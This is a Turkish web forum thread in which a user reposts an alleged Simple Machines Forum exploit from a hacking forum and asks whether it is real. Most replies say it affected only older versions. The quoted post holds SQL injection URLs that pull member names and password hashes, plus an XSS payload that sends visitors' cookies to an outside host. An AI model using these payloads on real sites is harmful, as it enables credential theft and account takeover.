SMF de böyle bir açık gerçekten varmı

[Forummedya.NET]

Arkadaşlar bi hack forumda gördüm doğrumu bilmiyorum mod arkadaşlar bi bakarsa sevinirim

smf forum açığı

--------------------------------------------------------------------------------

SMF Forum Açığı Sonunda bulundu arkadaslar..SQL İnjection

SQL İnjection(1)

http://site/index.php?action=post;msg=297%20UNIon%20SELECT%20m emberName,0,passwd,0,0%20FROM%20smf_members%20WHER E%201/*;topic=108.0;sesc=c6f653f2ca7aee3e24396055a5ebfcf d



Cross Site Scripting(XSS,CSS)-(1)

` width=0 height=0 xss=`i= new Image();i.src= "//kepche.jino-net.ru/k.jpgk=+.;this.xss=null` style=top:expressionevalthis.jpg">


cookieler http://kepche.jino-net.ru/SpyMS.txt de olcak ..


SQL İnjection(2)


http://forum/smf/index.php?action=mlist;sa=all;start='[SQL]

********************
alıntıdır.......

[ToKMaK]

keşke biraz araştırma yapsan güzel olcak....

yok öle bi açık eski sürümlerinde vardı..

[nastyes]

walla yok ben 1.1 de bilmiyorum oldugunu

[puhuMa]

 >:(şu arama huyunu bir öğrenemedik gitti ! Yaw insanın sinirlenmemesi elde değil, hasbinallah..

[KraL]

bence böle bi acık yoktur simdiye kadar kimin forumunu hacklediler kendi hataları hariç bence olamaz böle bişey 1.1Rc2 Kullanıyorum ben baya güzel acık olmaz olamaz bunlar yalan bence

[haritsu]

arkadaşlar ben biliyorum bu sorun sadece eski 1.xxx sürümlerinde vardı. Ancak şu anda RC.2 sürümlerind yok...
Uğraştığım için biliyorum... 

yanlış anlamayın haa... güvenirliliğini test ettim sadece... 

[Forummedya.NET]

>:(şu arama huyunu bir öğrenemedik gitti ! Yaw insanın sinirlenmemesi elde değil, hasbinallah..

Ni diyosun arkadaşım sen cevap verme o zaman
Üslubunu bozma

[zdearban]

Arkadaşlar bi hack forumda gördüm doğrumu bilmiyorum mod arkadaşlar bi bakarsa sevinirim

smf forum açığı 

O Arkadaşlar Kendi Reklamlarını Yapmışlar Bence. Eğer Yaptığı Şey Foruma Zarar Veriyorsa Bunu İspatlaması Gerek.


İspatlasınki Anında 1.1rc3 Çıkartsınlar